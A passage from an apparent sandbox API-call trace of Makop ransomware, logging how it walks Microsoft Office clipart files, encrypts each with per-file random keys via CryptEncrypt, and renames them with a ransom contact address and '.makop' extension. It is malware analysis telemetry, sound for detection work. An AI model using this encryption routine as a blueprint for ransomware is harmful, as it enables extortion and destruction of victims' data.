hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.098] GetProcessHeap () returned 0x48a0000 [0141.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.098] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.104] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.104] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c50, lpOverlapped=0x0) returned 1 [0141.107] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50) returned 1 [0141.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c50, lpOverlapped=0x0) returned 1 [0141.108] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.108] SetEndOfFile (hFile=0xf0) returned 1 [0141.115] GetProcessHeap () returned 0x48a0000 [0141.115] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.115] GetProcessHeap () returned 0x48a0000 [0141.115] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.115] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.117] CloseHandle (hObject=0xf0) returned 1 [0141.117] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0141.117] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF") returned 63 [0141.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.119] GetProcessHeap () returned 0x48a0000 [0141.119] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.119] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.119] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.124] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.124] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.124] GetProcessHeap () returned 0x48a0000 [0141.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.124] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.124] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.124] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.126] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfe4, lpOverlapped=0x0) returned 1 [0141.126] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0, dwBufLen=0xff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xff0) returned 1 [0141.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xff0, lpOverlapped=0x0) returned 1 [0141.126] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.126] SetEndOfFile (hFile=0xf0) returned 1 [0141.133] GetProcessHeap () returned 0x48a0000 [0141.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.134] GetProcessHeap () returned 0x48a0000 [0141.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.136] CloseHandle (hObject=0xf0) returned 1 [0141.136] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0141.136] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF") returned 63 [0141.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.137] GetProcessHeap () returned 0x48a0000 [0141.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.137] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.137] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.138] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.138] GetProcessHeap () returned 0x48a0000 [0141.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.138] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.138] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.138] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.143] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd00, lpOverlapped=0x0) returned 1 [0141.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd00, dwBufLen=0xd00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd00) returned 1 [0141.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd00, lpOverlapped=0x0) returned 1 [0141.144] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.144] SetEndOfFile (hFile=0xf0) returned 1 [0141.151] GetProcessHeap () returned 0x48a0000 [0141.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.151] GetProcessHeap () returned 0x48a0000 [0141.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.151] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.153] CloseHandle (hObject=0xf0) returned 1 [0141.153] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0141.153] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF") returned 63 [0141.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.154] GetProcessHeap () returned 0x48a0000 [0141.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.154] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.154] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.154] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.154] GetProcessHeap () returned 0x48a0000 [0141.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.155] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.155] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.155] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.159] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.159] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.160] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8e0, lpOverlapped=0x0) returned 1 [0141.161] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8e0) returned 1 [0141.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8e0, lpOverlapped=0x0) returned 1 [0141.161] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.162] SetEndOfFile (hFile=0xf0) returned 1 [0141.169] GetProcessHeap () returned 0x48a0000 [0141.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.169] GetProcessHeap () returned 0x48a0000 [0141.169] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.169] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.171] CloseHandle (hObject=0xf0) returned 1 [0141.171] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0141.171] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF") returned 63 [0141.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.172] GetProcessHeap () returned 0x48a0000 [0141.172] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.172] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 